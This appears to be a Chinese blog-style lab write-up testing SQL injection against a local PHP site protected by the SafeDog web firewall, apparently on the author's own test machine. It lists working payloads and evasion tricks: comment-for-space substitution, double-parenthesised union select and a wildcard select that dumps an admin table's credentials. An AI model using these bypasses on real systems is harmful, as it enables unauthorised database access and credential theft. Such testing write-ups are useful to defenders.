环境:apache+php+mysql(使用的phpstudy的集成环境)
最新版安全狗:刚从官网下载来的
注入点:
常规的and 1=1判断测试:
被拦截,用/**/代替空格:成功绕过
http://192.168.28.132/sql.php?id=1/**/and/**/1=1/**/
测试order by
可以看到安全狗并没有对order by 进行拦截
继续,union select
好吧,这个给拦截了====.union select分开来测试一下
union
select
Union select
可以看到只有他们两个在一起的时候才会被拦截,换个写法:union (select)
还是被拦截===一个括号解决不了的问题,那就两个吧:union ((select))
OK,狗没有拦截俩括号的,至于为什么没有信息,因为我这里没有对sql语句进行判断是否有语法错误,将字段数写上看看;
数字爆出来了
我这里有一张admin表,数据如下:
吧from加上吧:union ((select 1,2,3 from admin))
成功被拦截
继续修改:/**/union/**/((select/**/1,2,3/**/from/**/admin/**/))
试了半天====还好是过了===
爆数据了:/**/union/**/((select/**/username,2,3/**/from/**/admin/**/))
别闹===到这里我实在是绕不动了,在1,2,3这里只要出现字母就被拦截,
但是,我貌似看到了一个更直接的:
/**/union/**/((select/**/*/**/from/**/admin/**/)),直接他么的给他改成一个通配符,哈哈
拿到账号密码了.......